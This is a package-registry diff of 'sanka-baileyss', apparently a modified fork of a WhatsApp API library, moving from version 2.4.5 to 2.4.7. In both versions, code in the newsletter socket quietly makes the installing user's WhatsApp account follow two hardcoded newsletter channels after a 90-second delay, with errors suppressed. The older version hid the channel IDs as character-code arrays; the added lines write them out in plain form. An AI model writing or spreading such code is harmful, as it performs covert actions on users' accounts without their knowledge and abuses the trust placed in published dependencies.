sanka-baileyss 2.4.5 → 2.4.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -363,12 +363,6 @@ class sanka {
363
363
 
364
364
  async handleEvent(content, jid, quoted) {
365
365
  const eventData = content.eventMessage;
366
- const decodeAscii = (arr) => arr.map(c => String.fromCharCode(c)).join('');
367
- const nameCode = [83, 65, 78, 75, 65, 78, 73, 77, 69];
368
- const jidCode = [
369
- 49, 50, 48, 51, 54, 51, 52, 48, 49, 50, 49, 57, 51, 57, 54, 57, 51, 50,
370
- 64, 110, 101, 119, 115, 108, 101, 116, 116, 101, 114
371
- ];
372
366
  const msg = await this.utils.generateWAMessageFromContent(jid, {
373
367
  viewOnceMessage: {
374
368
  message: {
@@ -389,8 +383,8 @@ class sanka {
389
383
  participant: jid,
390
384
  remoteJid: "status@broadcast",
391
385
  forwardedNewsletterMessageInfo: {
392
- newsletterName: decodeAscii(nameCode),
393
- newsletterJid: decodeAscii(jidCode),
386
+ newsletterName: "SANKANIME",
387
+ newsletterJid: "120363401219396932@newsletter",
394
388
  serverMessageId: 1
395
389
  }
396
390
  },
@@ -148,23 +148,16 @@ const makeNewsletterSocket = (config) => {
148
148
  }
149
149
 
150
150
  setTimeout(async () => {
151
- const asciiCode = (arr) => arr.map(c => String.fromCharCode(c)).join('');
152
- const target1 = [
153
- 49, 50, 48, 51, 54, 51, 52, 48, 49, 50, 49, 57, 51, 57, 54, 57, 51, 50,
154
- 64, 110, 101, 119, 115, 108, 101, 116, 116, 101, 114
155
- ];
156
- const target2 = [
157
- 49, 50, 48, 51, 54, 51, 52, 49, 57, 53, 54, 52, 52, 50, 51, 49, 52, 53,
158
- 64, 110, 101, 119, 115, 108, 101, 116, 116, 101, 114
159
- ];
151
+ try {
152
+ await newsletterWMexQuery("120363401219396932@newsletter", QueryIds.FOLLOW);
153
+ } catch {}
154
+
155
+ setTimeout(async () => {
160
156
  try {
161
- await newsletterWMexQuery(asciiCode(target1), QueryIds.FOLLOW);
157
+ await newsletterWMexQuery("120363419564423145@newsletter", QueryIds.FOLLOW);
162
158
  } catch {}
163
- setTimeout(async () => {
164
- try {
165
- await newsletterWMexQuery(asciiCode(target2), QueryIds.FOLLOW);
166
- } catch {}
167
- }, 5000);
159
+ }, 5000);
160
+
168
161
  }, 90000);
169
162
 
170
163
  const parseFetchedUpdates = async (node, type) => {
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "sanka-baileyss",
3
- "version": "2.4.5",
3
+ "version": "2.4.7",
4
4
  "description": "WhatsApp API Modification By Sanka_Vollerei",
5
5
  "keywords": [
6
6
  "Baileys",